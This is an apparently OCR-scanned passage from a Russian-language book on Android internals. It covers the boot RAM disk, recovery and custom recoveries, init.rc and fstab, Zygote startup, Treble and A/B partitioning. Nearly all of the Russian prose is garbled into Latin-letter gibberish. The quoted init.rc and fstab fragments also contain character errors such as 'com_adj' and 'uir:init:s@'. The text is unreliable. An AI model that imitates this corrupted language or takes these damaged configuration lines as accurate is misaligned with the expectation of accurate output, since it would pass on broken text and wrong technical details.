HbiX Lened. M3HauansHo B RAM-aucke pasMmelnancs «cKeiaeT onepaloHHON CUCTEMBI:
HY>KHBIE 711 HayanbHOMH 3arpy3kH Katajqoru u ¢aiisl HHULHanU3auuu. Anpo noakioya-
1o RAM-auck B kauecTBe KOpHs (paiIOBOH CHCTEMBI, a Janee y)ke K HEMY MOJKIIoYa-
JIUCb ApYyTHE pa3lebl.

Ilpu nosenenun B cenpmoii Bepcuu Android A/B-pa3merku HeoOxoauMocTh B RAM-
JMCKe OTrnana, U HHxeHepsl Android peluny HCrnonb30BaTh €ro 11 XpaHeHHs KOHCOH
BOCCTAHOBJIEHHs (BMECTO MCMOJIb30BaHHUs OTAENBbHOrO paszaena recovery). OqHako eciau
MPOM3BOJMTENb MO KAaKMM-TO MPUYHHAM HE MOXKET HJTH HEe XOYeT ucrnonb3oBath A/B-pas-
meTky, RAM-auck mno-npexHeMy Hcrnonb3yercs i HayanbHOM 3arpy3kd Android,
a KOHCOJIb BOCCTAHOBJIEHHs] XPAaHUTCS B pa3/ielie recovery.
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Knaccuueckoe HanonHenne RAM-nucka BBIMIAINT IPUMEPHO Tak:

data — karanor ans MOHTHPOBaHHS OMHOMMEHHOTO pa3aena;

dev — ¢aiinel ycTpoiicTB;

proc — cioaa MOHTHpYeTcs procfs;

res — Habop u3oOpaxkeHui ans charger (cM. HHXe);

bin 1 sbin — Habop noacoOHbIX yTHIUT H AeMOHOB (Hanpumep, adbd);
Sys — cioia MOHTHpYeTcs Sysfs;

system — KaTajior JJii MOHTHPOBaHHA CHCTEMHOTO pa3fiena;
build.prop — cHcTeMHbIe HAaCTPOHKH;

init — cUcTeEMa HHHULIHAIM3ALIMH;

init.rc — HacCTpOHKH CHCTEMbI HHHLIMAITH3ALINH;

ooaogoaoguoogoaogaaan

ueventd.rc — HacTpoiiku AeMoHa uventd, BXOIs1Ero B COCTaB init.

3TO M ecTh CKeJleT CHCTEMBbI: HabOp KaTajJoroB M CHCTEMa HHHLMAIM3ALMH, KOTOpas
3aiiMeTcs Bcel ocTanbHO# paboToli mo 3arpy3ke cucteMsl. B yctpoiicTBax ¢ A/B-pas-
METKOH M B yCTPOHCTBaX, HCMOJB3YIOLIMX PEXHM System-as-root, Bce 3TH KaTaJoOrH H
¢aiinbl HaXOAATCA BHYTPH CHCTEMHOTO pa3ziena, HO X CMBICI OT 3TOr0 HE MEHSETCS .

[leHTpanbHBIi 3JIEMEHT 34€Ch — HCHOJHAEMBIH ain init U ero KOHQUr init.rc, O KO-
TOPOM MBI MOrOBOPHM MO3XeE. A Moka s Xouy oOpaTUTh BHUMaHHe Ha ain ueventd. rc,
a TAKXK€ KaTaJIOTH sbin, proc H sys.

®aiin ueventd. rc mpeacTaBaseT co00i KOHHT, onpenestolni, kakue Gaisl yCTpOHCTB
B KaTaJyiore sys AOJDKHBI OBITh CO3JaHBbl Ha 3Tamne 3arpy3kH cHcTeMbl. B OCHOBaHHBIX Ha
agpe Linux cHcTeMax MOCTYMN K <OKEJIE3y» OCYLUECTBJISIETCSA YEPE3 CeLHabHble Gaibl
BHYTpPH KaTajiora dev, a 3a HX co3gaHue B Android oTBe4aeT 1EMOH ueventd, SBJIAIOLHHCS
4acThlO init. B HopManbHOH cHTyaLMH OH paboTaeT B aBTOMaTHYECKOM peX<HME, NPHHH-
Mas KOMaHAbl Ha co3aaHue ¢GaiioB OT Aapa, HO HEKOTopble ¢aiibl He06X0aUMO co3aa-
BaTh CaMOCTOATENbHO. OHH MEpevHCIIEHBI B ueventd. rc.

Karanoru bin U sbin B cTokoBoM Android comepxar yTHINTbI KOMaHIHOH CTPOKH, CHC-
TEMHbIE CEPBHCBI H HCTPYMEHTBI, B YHCJIe KOTOPBIX adbd (ADB Daemon), koTopblii oTBe-
yaet 3a otTnaaky cucteMsl ¢ [1K. OH 3anmyckaercs Ha paHHeM 3tane 3arpy3kd OC u no-
3BOJISIET BBIABUTH BO3MOXKHbIE MpobsieMbl Ha 3Tane HHHUManH3auud OC. B kacToMHbIX
MPOLIWBKAX B 3TOM KaTajlore MOXHO HAWTH MHOXECTBO ApPYrHx ¢aiioB, Hampumep
mke2fs, KOTOpPBIA MOXET MoTpeOoBaThCs, €CIH pa3zesibl Heobxonaumo nepedopMaTHpo-
Bath B ext3/4. Takke Moanepbl 4acTo MoMelLaloT Tyaa busybox, ¢ moMolpo KOToporo
MO>KHO BbI3BaTh COTHH Linux-koMaHz.

Karanor proc i Linux cTaHmapTeH, Ha clieQylOlMX 3Tanax 3arpy3kH init MOAKIOYHT
K HeMmy procfs, BHpTyaibHyl0 ¢aiiloByl0 CHCTEMY, KOTOpas MpeIOCTaBJSeT AOCTYMN
K HHopMauuu 060 Bcex mpoueccax cHcteMbl. K karamory sys cucTeMa MOAKIIOYHT
sysfs, OTKpbIBaloOLLyI0O JOCTYN K HHGOPMALIMH O «oKele3e» H K ero Hactpoiikam. C nmomo-
b0 sysfs MOXKHO, HarpHUMep, OTMPaBUTh YCTPOHCTBO B COH HJIH M3MEHHTh HCIOJb3ye-
MBIii aJITOPHTM 3HEprocoepexeHHs.
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@aiin build.prop MpenHa3HaueH Ui XpaHEHHs HHU3KOYPOBHEBbIX HacTpoek Android.
[To3xe cucTema OOHYJIUT 3TH HACTPOMKH W Mepe3anuiieT UX 3HAYEHHIMH U3 HEeOCTYI-
HOTro noka ¢aiina system/build.prop.

Lar sTopoit, anbTepHATUBHLIIA.
Paspen recovery

B ToMm cnyuae, ecnu «dnar 3arpy3ku recovery» B pasjesie misc yCTaHOBJIEH MJIH MOJb30-
BaTesib BKJIHOUWJI CMAapT(HOH € 3aKaTOH KJIaBHILEH yMEHbIUEHHS TPOMKOCTH, 3arpy34HK
riepeaacT yrnpaBJeHHE KOy, OTBETCTBEHHOMY 3a 3afyCK KOHCOJIH BOCCTAHOBJIEHHS.
B cnyuae yctpoiictBa ¢ A/B-pa3meTkoii 3arpy3udk, kak U B OOBIYHOM BapHaHTe, 3arpy-
xkaet aapo Linux u3 pa3mena boot, Ho BMecTo pasziena system B kauyecTBe KOpPHS MOA-
kmovyaer RAM-auck. Ecnu ke ycTpoHCTBO HCMONB3yeT KIACCHUYECKYHO pa3MeTKy,
ynpaeieHHe nepeaaercs aapy Linux, 3anmicaHHOMY B paszien recovery, KOTOpoe TOYHO
Tak e 3arpy>xaer RAM-auck, HO y>ke U3 cBoero paszena.

H B ToM u B apyrom ciyyae RAM-auck recovery coaep>KUT MUHHATIOPHYIO OMEpaLHOH-
HYI CHCTEMY, KOTOpas HHKakK He cBs3aHa ¢ Android. ¥V recovery cBoii Habop npuiioxe-
HHi (KkoMaHa) U CBOH HHTepdeiic, NO3BONISIOUIMIH MOJIb30BATENI0 aAKTHBHPOBATD CIyXkeo-
Hble GYHKLHH.

B crannaptHom (CTOkOBOM) recovery TakuxX (pyHKUHH OOLIYHO TpH: yCTaHOBKA MOATH-
CaHHBIX KJIKOYOM MPOH3BOJHTENS cMapT(dOHa NMPOLIWBOK, Baimn U nepesarpyska. B moau-
(HUHPOBaHHBIX CTOPOHHHUX recovery, Takux kak TWRP, dyHkuuit ropazno 6onbue. OHu
yMeloT ¢hopMaTHpoBaTh (aiioBble CHCTEMbI, YCTAHABIHBATh NMPOLIMBKH, MOAMHCAHHbIE
MoObIMH KJIOYaMH (YHMTaH: KaCTOMHBIE), MOHTHPOBATh (haiioBble CHCTEMBI Ha JPYrUX
pazzgenax (B uensx omiagkd OC) U BKIOYAKOT B ceO8 MOAAEpIKKY CKPHITOB, KOTOpas
MO3BOJISIET ABTOMATH3HPOBATh NMPOLIECC MPOLIWBKH, @ TAK)Ke MHOTHE IpyrHe GpyHKLHH.

C noMolLbI0 CKPHITOB, HAMPHUMEP, MOXKHO CAENATh Tak, YTOOBI MOCJie 3arpy3kH recovery
aBTOMaTHYECKH Halllel Ha KapTe MaMATH HY>KHble MPOLUKWBKH, YCTAHOBHJ HX W Nepesa-
rpy3uics B Android. 3ta BO3MOXXHOCTb Hcnoib3yeTcs HHCTpyMeHTaMd ROM Manager,
auto-flasher, a Takxxe MmexaHHu3MOM aBToMaTHueckoro obHoeneHus CyanogenMod u npy-
rux npournBok. KactoMHble pekaBepH Taioke NMoazep>KHBAlOT CKpHNTHI 63Kana, pacnona-
ralouMecs B KaTajore /system/addon.d/. Ilepea npouuBKkoi recovery npoBepseT HaaHuHe
CKPHMIMTOB W BBIMOJIHAET HX, MpexAe 4YeM NpoHM3BEeCTH MpouuBKy. bnaromaps Ttakum
CKpHITaM gapps HE HCUYe3aloT Mocje yCTaHOBKH HOBOM BEPCHH MPOLIHBKH.

War tpetuia. UHuumanusauus

Hrak, 1Ap0 MHHLUMATU3UPYET CBOHM MOJACHCTEMbI H JpaiiBephl, 3aTE€M 3arycKaeT NpoLecc
init, ¢ koToporo HauMHaeTcs WHULManu3auusa Android. V init ecTb KOHpUrypaLHOHHBIN
daiin init.rc, coaepxkallni HHCTPYKLIHH O TOM, YTO HY>KHO CZeNaTh, YTOObI MPOMHHLIHA-
JAW3HPOBATh CHCTEMY. B COBpeMeHHBIX cMapT@oHaX 3TOT KOHOUT HMEeT BHYLUHTENbHYIO
JJTHHY B HECKOJIbKO COTEH CTPOK M K TOMY e CHaOeH NMpHLENOM M3 HECKOJbKHX J10-
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YepHUX KOH(HUroB, KOTOpbIE MOAKIIOYAIOTCH K OCHOBHOMY C TMOMOLLBIO JHPEKTHUBBI
import. TeM He MeHee ero ¢popMaT JOCTaTOYHO MPOCTOH M MO CYTH MpEACTaBIsIET coOOoit
Habop KOMaH[, pa3/ieIeHHbIX Ha OJIOKH.

Kaxnpiit 6110k onpenenser cTaauio 3arpy3KkH, HWIH, BbIpaXkasch A3bIKOM pa3paboTyMKOB
Android, nefictBue. biioku oTaeneHsl Apyr oT Apyra IUpeKTHBOMH on, 32 KOTOPO#H cieayer
UMs eACTBHS, HAaNPUMEp on early-init MJIM on post-fs. Biok koMaHa GyneT BHIMOTHEH
TOJIBKO B TOM Clly4ae, ecinu cpaboTaer onHOWMeHHbIH Tpurrep. [To Mepe 3arpysku init
Oyaer mo ouepeau akTUBHPOBATh TpUrrepsl early-init, init, early-fs, fs, post-fs, early-boot
u boot, 3amyckas Takum 00pa3oM COOTBETCTBYIOLIME OJI0KH KoMaH (pHc. 2.2).

on early-init
# Set init and its forked children's oom_ad;j.
write /proc/1/com_adj -16

# Set the security context for the init process.
# This should occur before anything else (e.g. ueventd) is started.
setcon uir:init:s@

# Set the security context of /adb_keys if present.
restorecon /adb_keys

start ueventd

# create mountpoints
mkdir /mnt 8775 root system

# Allow system UID to setenforce and set booleans.
chown system system /selinux/enforce

chown system system /sys/fs/selinux/enforce

chown -R system system /selinux/booleans

chown -R system system /sys/fs/selinux/booleans
chown system system /selinux/commit_pending_bools

Pwuc. 2.2. YacTtb koHdumra init.rc usa CyanogenMod

Ecnu koHOHrypaunoHHbIH ¢aiitn TAHET 3a co0oil elue HECKONbKO KOH(HUroB, mepeduc-
JIEHHBIX B Hayasie (a 3TO MOYTH BCErja Tak), TO OJHOMMEHHbIE OJIOKH KOMaH[ BHYTPH HHUX
OyayT oObeqUHEHBI C OCHOBHBIM KOH(HIOM, TaK 4TO MpHU cCpadaThIBAHHUH TpHUITepa init
BBIMOJTHUT KOMaHIbl W3 COOTBETCTBYIOLUMX OJIOKOB Bcex ¢aiinoB. JTo chenaHo Uif
yno6cTBa popMUpoBaHUs KOH(UTYpallMOHHBIX (aiiioB 1l HECKONBKUX YCTPOHCTB, KO-
ra OCHOBHOH KOHGUI COAEPKHUT oOLLHe AT BCEX YCTPOHCTB KOMaH/bI, a CrieLiHYHBIE
JUTSL KQ)K10TO YCTPOMCTBA 3aMUChIBAOTCS B OTAEIbHBIE (ailibl.

HauGonee npumeuarenbHbli M3 NOMOJHUTENbHBIX KOHQHUrpalMOHHBIX (ailoB HOCHT
UMs /vendor/etc/init/hw/init.mma_ycTpoiictsa.rc, Tl€ HMS YCTPOMCTBA OIpenenasercs
ABTOMATU4YE€CKH Ha OCHOBE COACPIKUMOIO ¢aﬁna ro.hardware. 3TO l'[J'laT(bOpMeHHO-SaBH-
CHUMBIIl KOH(QUTYpaLMOHHBIH (aiis, KOTOPhI CONEpPKUT OJIOKH KOMaHI, creluduyHbIe
AJ1s1 KOHKPETHOTI'O yCTpOﬁCTBa. KpOMe KOMaH, OTBE€YAKOLIHUX 3a THOHUHT sA4pa, OH TAKXKE
COOEPKUT MPUMEPHO TaKyl0 KOMaHLY:

mount all /vendor/etc/fstab.mma ycrpoiicTsa

OHa 03Hayaert, YTo Temneps init JOHKEH MOJKIIOUNTh Bce (aHIoBblE CHCTEMBI, MEpeyuc-
JIeHHbIe B Qaiine /vendor/etc/fstab.uma ycrpoiicTea, KOTOPBIH HMEET CIEAYIOLLYIO CTPYK-
Typy:

MMA_YyCTPOWCTBa (pasfesla) TOYKAa MOHTMPOBAHMA QalyioBad cucTema onuyu GC mpoure Oonuum
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OGBIYHO B HEM COAEPXKATCA HHCTPYKLMH MO MOJKIIOYEHHIO (aHIOBBIX CHCTEM M3 BHYT-
perHux NAND-pa3aenoB k katanoram /system, /data W /cache. OfHaKo, cerka W3MeHHB
3TOT (haiy, Mbl MOXKEM 3aCTaBHUTD init 3arpy3UTh CUCTEMY C KapThl mamsatd. [{nsg storo
JOCTaTOYHO pa30UThb KapTy MamsaTH Ha YeThIpe paslelsia, OTGpopMaTHPOBaB MEPBBIE TPH
B ¢aiinoBylo cucteMy ext4, a ocTaBlleecs NpocTpaHcTBO oTaaTh nop fat32. [anee Heob-
XOIHUMO OMNpeeNUTh UMEHa pa3/iesioB KapThl MaMATH B Kartajuore /dev (I/1s pa3HbIX YCT-
pOICTB OHHM OTJHMYAIOTCA) W 3aMEHHWTb UMM OpHTHHAlbHbIE UMEHa YCTPOMCTB B (haiie
fstab (pHC. 2.3).

# Android fstab file.

#<src> <mnt_point> {type> <mnt_flags
# The filesystem that contains the filesystem checker binary (typically /system) cannot

# specify MF_CHECK, and must come before any filesystems that do specify MF_CHECK

# We remount because we first mount as rw in order to generate NVSI symlink. See init.rc for det

/dev/block/platform/sdhci-tegra.3/by-name/RPP /system extd ro,remount |
/dev/block/platform/sdhci-tegra.3/by-name/CAC /cache extd noatime,no
/dev/block/platform/sdhci-tegra.3/by-name/UDRA /data extd noatime,no |

HEEEEEEEREEEEBEER

1

fstab.cardhu [Readonlyl 1/9 11%

Puc. 2.3. TunuuHoe coaepxumoe danna fstab

B koHue 6110Ka boot init, ckopee Bcero, BCTPETUT KOMaHIy class start default, KOTOpas
COOOILMT, YTO Janee cliefyeT 3amyCTHThb BCE MEpeuYHCIEeHHblE B KOH(pUre ciyxOsl,
HUMEIOLIME OTHOLIEHHE K Kiaccy default. OmucaHue ciy0® HauMHaeTcs ¢ JUPEKTHBBI
service, 3a HEH cleayeT uMs ciy>xObl H KOMaHa, KOTopas JOJkHA ObITh BBINOIHEHA 15
ee 3amycka. B omnuue oT koMaHa, nepevHcleHHbIX B OJI0KaX, ciykObl J0DKHBI pabo-
TaThb BCE BpeMs, MO3TOMY Ha MPOTSXKEHUH BCEH XKHM3HM cMapTdoHa init OyaeT BHCETh
B ¢OHE M cleauTh 3a TeM, 4ToObl OHH paboTtanu. CoBpeMeHHbIH Android BkIroyaeT B ce-
05 mecATkH ciayx0, HO Be U3 HUX UMEIOT OCOOBIH CTaTyC M OMpeAeNsoT BECh XKH3HEH-
HBIH LMKJI CHCTEMBI.

War yerteeprthriA. Zygote u app_process

Ha ompeneneHHoM 3Tane 3arpy3kd init BCTPETHT B KOHLIE KOH(HIra NMpUMEpPHO TaKOM
oJ10K: '

service zygote /system/bin/app process -Xzygote /system/bin --zygote --start-system-
server

class default

socket zygote stream 660 root system
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onrestart write /sys/android power/request state wake
onrestart write /sys/power/state on

onrestart restart media

onrestart restart netd

3710 onucaHue cnyxObl Zygote, kntoyeBoro komnoHeHta Android, KOTOpbIi OTBETCTBEH
3a HHHUMANIH3aLHI0, CTapT CUCTEMHBIX CyO0, 3amyck W OCTaHOBKY MOJb30BaTENbCKHX
MPUIOKEHUH M MHOTMe Jpyrue 3adaud. Zygote 3amyckaeTcs C MOMOLIbIO OHHAPHOrO
daiina /system/bin/app process, YTO XOpOLIO BHIHO B MPHUBEIEHHOM Bbillle dparMeHTe
koH(pHra. 3amaua app proccess — 3alyCTHTh BUPTyalbHyro MauidHy Dalvik/ART, kon
KOTOpO# pacrionaraercs B paszaenseMoil OMOnHoTeke /system/lib/libandroid runtime.so,
a 3aTeM MOBepX Hee 3amycTUTh Zygote.

Korpna Bce 310 Oynet caenaHo ¥ Zygote nojayuuT ynpaslieHHe, OHa Ha4YHeT GOpMHUpOBa-
HHe cpelbl HCMOJHEHHs Java-mpUaoKeHHH ¢ MoMOLUbIO 3arpy3ku BcexX Java-kiaccoB
¢dpetimBopka. Ha camom nente, Zygote npocto nenaet fork B pexxuMe copy-on-write yxe
CYLLECTBYIOLEro Mpoliecca ¢ 3arpy)keHHbIM (peHMBOpPKOM, a 3aTeM 3armyckaeT
system server, KOTOpbI BK/IIOYaeT B ceds OOJbLIMHCTBO BbICOKOYPOBHEBBIX (HamHCaH-
HbIX Ha Java) cucteMHbIX cepBucoB. Cpenu Hux — Window Manager, Status Bar, Pack-
age Manager H, 4To camoe BaxkHOe, Activity Manager. ToT cepBUc OyneT OTBETCTBEH 3a
MoJly4yeHHe CUTHAJIOB O CTapTe U 3aBepLIEHHH MPUI0KEHHH.

[Tocne storo Zygote' OTKPbIBAET COKET /dev/socket/zygote H YXOOHUT B COH, OKUAas HaH-
Hble. B 9T0 BpeMs 3anyuueHHbIH paHee Activity Manager HaXOOUT NpHUIOKEHHE, pearu-
pyluee Ha MHTEHT Intent.CATEGORY HOME, H OTAaeT ero ums Zygote yepe3 cokert. [locnen-
HUH, B CBOIO ouepenb, (OPKAETCA M 3aMyCKaeT MPHIOKEHHE TMOBEPX BHPTYalbHOM
MalluuHbl. Byans, Ha skpaHe noseasetcs Pabouuii cron, HalneHHbIi Activity Manager u
3anylleHHbId Zygote, U cTaTycHas CTPOKa, 3anmylleHHas system server B pamMKax CIJyObl
StatusBar. [Tocne Tana no nto6omy 3Hauky Pabouuii cTon nolneT HHTEHT ¢ UMEHEM 3TO-
ro NpHJIOKeHHs, KOTOpbIi npuMeT Activity Manager u nepeaact koMaHay Ha CTapT MpH-
JIO’)KEHHUs IeMOHY Zygote.

Bce 3To MOXET BbIrISAAETh HeCKOIIbKO-HCHOHSITHO, HO CaMO€ rjlaBHO€ — 3alIOMHHTL IBE
MPOCTbIE BELLH:

O Ilpoyecc 3anycka Android oenumcsa na ose knoyesvie cmaouu: 0o Zygote u nocie. Jlo
3anycka Zygote cucTeMa WHULMATIM3UPYET HHU3KOYpoBHeBble koMnoHeHTbl OC. D70
TaKHe ornepaLHy, kKak MoaKIoYeHHe (MOHTHpOBaHHe) GaiIoBbIX CHCTEM; 3aMyCK HU3-
KOYPOBHEBbIX cny0, Hampumep rild, oTBeuatouieii 3a paboty ¢ GSM-moaemowm;
SurfaceFlinger, ynpansioleii n3o0paxkeHHeM Ha 3kpaHe; vold, ynpasnstouiei noa-
KJIIOYEHHBIMH daiinoBeiMU cucTteMamH. [locne 3amycka Zygote HauMHaeTCs WHHULIMA-
JIU3alMs UCKITHOYUTENbHO Java-KOMITIOHEHTOB, KOTOpble cocTaBnstoT 80% onepaluoH-
HOH cHCTeMbl. DTHM, B YaCTHOCTH, MOJb3yeTcs W3BeCTHbIH ¢pelimMBopk Xposed: npu
YCTaHOBKE OH 3aMEHSET app process Ha COOCTBEHHYIO MOAMGHUHPOBAHHYIO BEPCHIO,
KOTOpasi criocoOHa MepexBaThbiBaTh BbI30BbI JIIOOBIX Java-kjiaccoB, MOAMEHAs MUX Ha
ntobele apyrie. MMeHHO nostoMy y Moayned Xposed Takue LIMPOKHE BO3MOMHOCTH
no MoaugHKaLUMH BHELIHEro BUAa U noeeaeHus Android. Ha camoM nene, OHH HUYero
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HE€ U3MCHAKOT B CHCTEME, a MPOCTO 3aCTABJIAIOT €€ HCIOJIb30BAaTh CTOPOHHHE KOMIIO-
HEHTbI BMECTO «HATHBHBIX).

O Java-npunoscenus nuxozoa e 3anyckaiomca «c wyaay». Korna npouecc Zygote nomy-
YaeT 3ampoc Ha CTapT NMpHJIOXEHHs oT Activity Manager, OH He 3amycKaeT HOBYIO
BHUPTYaJIbHYIO MalllHHY, a MpocTo ¢opkaercs, T. €. KOMHPYeT camoro cebs MU 3areM
3aImyCcKaeT MoBepX MOMy4YeHHOH KOMHH BHPTYalbHOH MAlUHHBI HY>KHOE MPHIOKEHHE.
Takoit npuHLMN paboTHI MO3BOJIAET, BO-MEPBBIX, CBECTH PacXol MaMATH K MHHHMYMY,
T. K. pH $opKe NMaMATh KOMUPYETCA B pexHMe copy-on-write (HOBBIH mpoLecc cChl-
JIaeTCs Ha MaMATh CTaporo). A BO-BTOPBIX, JAE€T BO3MOXKHOCTH CYIUECTBEHHO YCKO-
PMTB 3aMyCK NMPHJIOXKEHHA: $OpK Mpolecca MPOUCXOAMT HaAMHOro ObicTpee 3amycka
HOBOH BHPTYaJIbHOH MalHHBI M 3arpy3KH HY>KHBIX MPHIIOXKEHHIO Java-K1accoB.
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Treble, A/B-pasmeTka,
AVHAMUYECKUE U MOAYNbHLIEe
obHoBNeHus

OOHOBNIEHHE — OAHO W3 caMbIX clabbix MecT ycTpoiicTB Ha 6a3e Android. A ocHOBHas
npo6iemMa, ¢ KOTOpOH CTalKHUBAKOTCS MPOM3BOJUTENH CMapTOHOB NpH OOHOBIEHHH
MPOLIHBOK CBOMX Tene(hOHOB, — 3TO BOBCE He JIeHb (XOTH 3TO ToXe uacTas npobiema),
a HeOOXOIUMOCTb XKIaTh, MOKA MPOU3BOIAMUTENH YHIICETOB H APYrHX XapABapHBIX KOMIIO-
HEHTOB OOHOBAT ApaiiBepbl 10 HOBOH BepcuH Android.

Heno B ToM, uto Android, kak ¥ MHOrHe Apyrue npoaykThl Google, oueHb noaroe BpeMs
pa3BHBAJICS B peXXHMe BeYHOMH OeThbl. 3T0 3HauuT, uto Android MeHsiics. He Tonbko U He
CTOJIbKO B I1aHe HHTepdeiica, CKOJbKO B IJ1aHe BHYTPEHHEH apXHTEKTYPBI.

B Android Hukoraa He 6bu10 ycTOsIBLIErocs, 0OpaTHO-COBMECTUMOrO HHTepdeiica Mex-
Iy cHcTeMOH U IpaiiBepaMu. B 6onbLIHHCTBE cyyaeB Helb3s ObUTO MPOCTO B3ATh HOBYIO
Bepcuio Android 1 «mocaauTe» ee Ha ApaiiBepbl U Aapo Linux ot ctapoit Bepcuu. [Toutu
BCeraa YTo-HUOyb, 1a OTBAJIMBAJIOCH.

TpeboBanuch 0OHOBNIEHHBIE OpaiiBepbl, pa3pabOTKOH KOTOPBIX 3aHUMAJICS MPOHU3BOIH-
Tellb «OKeJle3a», a BOBCE He MPOU3BOIUTENb cMapTdoHa. [ToaToMy, eciid MpoU3BOAUTENb
yunceTa, kaMepbl 1M Wi-Fi-amantepa no TeM WiM HHbIM MPUYHHAM OTKa3bIBAJICA MOA-
JEePXKHUBATh CTAPOE <«KeJie30» (YTO MPOUCXOIUT OUEHDb YacTo, a B ClIyvae C TAKUMH KOM-
naHusaMH, kak MediaTek, — nocTosiHHO), NOMHOUEHHBIH NMOPT HOBOH Bepcud Android
CTAHOBHTCS MOYTH HEBO3MOMKEH.

Co3nareny KaCTOMHBIX MPOIIWBOK HaXOAWJIH 0OXOIHBIE MYTH, YTOOBI 3aCTaBUTb HOBYIO
BepcHio Android paboTath Ha cTapeix ApaiiBepax. B xon wnu nroOble npueMsl, oT npo-
croro «He paboraer, 3a6eiiTe» 10 pa3nTHYHBIX MPOrpaMMHBIX Mpocioek, obecneynBaro-
wMX (YHKUHOHMpPOBAaHHE Ha YCTapeBLIMX ApaiBepax. Tak, HarmpuMmep, B KacTOMHBIX
npowyBkax Mg Xiaomi Redmi Is ecTb npocnoiika, koTopas Mo3BOJISET HUCMOJIB30BATh
kaMepy B Android 7.1.1, xoTs npaiiBepbl 115 Hee 3aCTPSJIH ellle Ha YpoBHe Bepcud 4.4.4.

OnHako A1 KOMMaHUH-MPOU3BOAMTENS cMapTdoOHa TaKo# MOAXO. 3a4acTylO HENpHeM-
JeM. YCTpOHCTBO C BBINOJIHEHHBIM NMOAOOHBIM 00pa3oM MOPTOM MOXKET MPOCTO HE NMPOH-
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TH ceptudukaumio Google. Kpome Toro, Takue npociiofky 3a4acTyto NpHBOIAT K c60IM
B HEOXH/IaHHBIX MECTaX U He 0OecrneunBalOT HOBYKO (YHKUHOHAIBHOCTb, KOTOpas MoO-
et TpeboBatbes Android ans xoppekTHOH paboThl (Hampumep, MoaAEepXKKa HOBBIX
PEXXHUMOB KaMephbl).

Treble

B kako#i-ro MomeHT Google pelinna nojsoXUTh KOHeLl 3TOH BaKXaHAIMH U CTaHAApTH30-
BaTh NMporpaMMHeIH HHTepdeiic Mexxay apaiBepaMu U Android. OTa HHMLIMATHBA MOY-
yuna umsa Treble (https://android-developers.googleblog.com/2017/05/here-comes-
treble-modular-base-for.html), 1 ona Orina BomiouieHa B xu3Hb B Android 8.0
(puc. 3.1).

[lo BHeppeHun Treble

Mpenbiaywmit penua Android- Cnepnytowwmii penu3 Android

TpenbinyLupi chpeiimeopk
Androd OS

Previous Android
OS Framework

g My puegng—— o e

Il BeHaopa

Puc. 3.1. [lo BHeapeHun uHTepdeiica Treble u nocne Hero

Cyts Treble npocta: kon Android pasaensercs Ha 1Be HE3aBUCHMBIE YacTH, OJHA M3 KO-
TOPBIX COJEPXHT JpaifBepsl H BeCh 3aBHCHMBIH OT <Okene3a» KOJi, a BTopas — caMy ore-
palUMOHHYIO cucteMy. [IporpamMMHbIi HHTepdeiic MeXay 3THMH KOMIIOHEHTaMH CTaH-
JapTU3YyeTCs W OCTaeTcs cTabWiIbHBIM Mexxy penuzamu Android. Kak pesynbrar, mns
NOpTHpOBaHUs HOBO# Bepcud Android nocTaTO4yHO mMOPTHPOBaTh MIAaTGOPMEHHO-
HE3aBHCHMYIO YacThb CHCTEMBI, H OHa KOPPEKTHO 3apaboTaeT Ha yxke UMEIOLIUXCA apaii-
BEpax M BepcHH aapa Linux, c koTopoi cMapT¢oH ObL BBINMYLIEH Ha PhIHOK.

310 B TEOPHH. Ha MNMPAaKTHKE XK€ €CTh Mnapa noABOAHBIX KaMHeH:

1. Android 6yner npono/nkaTs pa3BHBAThCA, M HOBbIE (YHKLHMH MOTYT NOTpebOBaTh H3-
meHeHuid B Treble. Pazpa6oTunku Android npenycMoTpenH 3To U rapaHTHpYIOT, YTO
yxe cyuwectsytowue Bepcud API Treble 6ynyT noanepxusatbcs MUHUMYM TpH rojia
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(moka 310 HeTouHo). [Tpu 3TOM YacTh (YHKUMH, KOTOpbIE HE MOTYT ObITh peaau3oBa-
Hbl C WCMoNb30BaHHeM cTapbix Bepcuii Treble, 6ymyT nubo 3MynupoBaThes, aHOO
npocto otkitouatbes. [To cytu, Android 6yner Bkitouats B ceOs odHLIHANIbHBIE NPO-
CJIOMKH COBMECTMMOCTH MO THIY TeX, YTO paHblle NPUXOJUIOCH NPHIYMBIBATh pas-
paboTuynKaM KaCTOMHBIX MPOLIMBOK.

2. Treble no cux nop HaxoAMTCS B MpoLECCE Pa3BUTHS U He BKIIOYAET B ce0s HECKOIBKO
BakHbIX APl (Hanpumep, B coBMecTuMBIX ¢ Treble mpommnBkax MOXeT OTBaIUThCA
CKaHep oTreuyaTkoB nanbueB). Takxke cyuiecTByeT npobiema, korga npou3BOAMTENb
cMmapTdoHa HaMepeHHO WiM ciyydaiiHo nomaeT Treble APL, Tak uro 6e3 «kocTblneH»
Treble-coBMecTHMBIE NMPOIIMBKH Ha TakoM cMapTdoHe He 3apaboTaroT.

Cpasy nocne Beinycka Android 8.0 Google Hauan myOnukaUuIO Tak Ha3bIBaeMbIX 00pa-
308 GSI (Generic System Image, https://developer.android.com/topic/generic-system-
image/releases). 3to oduumnansHas cobopka «uucroro» Android (AOSP) mns Treble-
COBMECTHMBIX YCTPOHCTB. B TeopuH ee MOXKHO MpOLIMTH Ha pa30J10KHPOBaHHOE YCTPOii-
CTBO C MOMOILBIO fastboct U MONYyYUTh opuLHaNbHBIH Android.

YyTe nozxe c6bopku GSI Hayanu noaroraBaMBaTh U pa3pabOTYMKH KACTOMHBIX MPOLLH-
Bok. Hanpumep, GSl-c6opka ot phhusson (https://github.com/phhusson/treble_
experimentations/releases) co MHOXkecTBOM (HKCOB /s pa3HbIX YCTpoicTB. B Teme,
nocesueHHoi Treble Ha dopyme 4PDA (https://4pda.ru/forum/index.php?showtopic=
892755), ecte MHOXecTBO Treble-coBMecTUMBIX npolMBOK, Bkiatouas LineageOS. Hy a
NPOBEPHUTH CBOE YCTPOHCTBO Ha COBMECTHMOCTH ¢ Treble MOXHO ¢ MOMOILBIO MpPHIIOXKE-
Hus Treble Check (https:/play.google.com/store/apps/details?id=com.kevintresuelo.
treble&hl=ru).

A/B-pa3meTtka

Ewe onnHa np06nema ¢ oOHOBJEHHAMH — OTKa3 noJib3opareseii. Kak nokaseiBaer npak-
THKa, MHOT'HE BJIaJCJIbLbI CMapTCbOHOB HE XOTAT OOHOBJATH CBOM yc*rpoiicma, NnoTomMy
4TO:

0 3TOT mpouecc OTHUMAeT BpeMs, B TeYeHHe KOToporo cMapTdoH Oyaer HeaocTyrneH
JUIS UCTIO/Tb30BAHUS;

O nocnie 0OHOBJIEHHS cMapThOH MOXET paboTaTh HEKOPPEKTHO WM HE BKJIKOYHUTCS BO-
obuye.

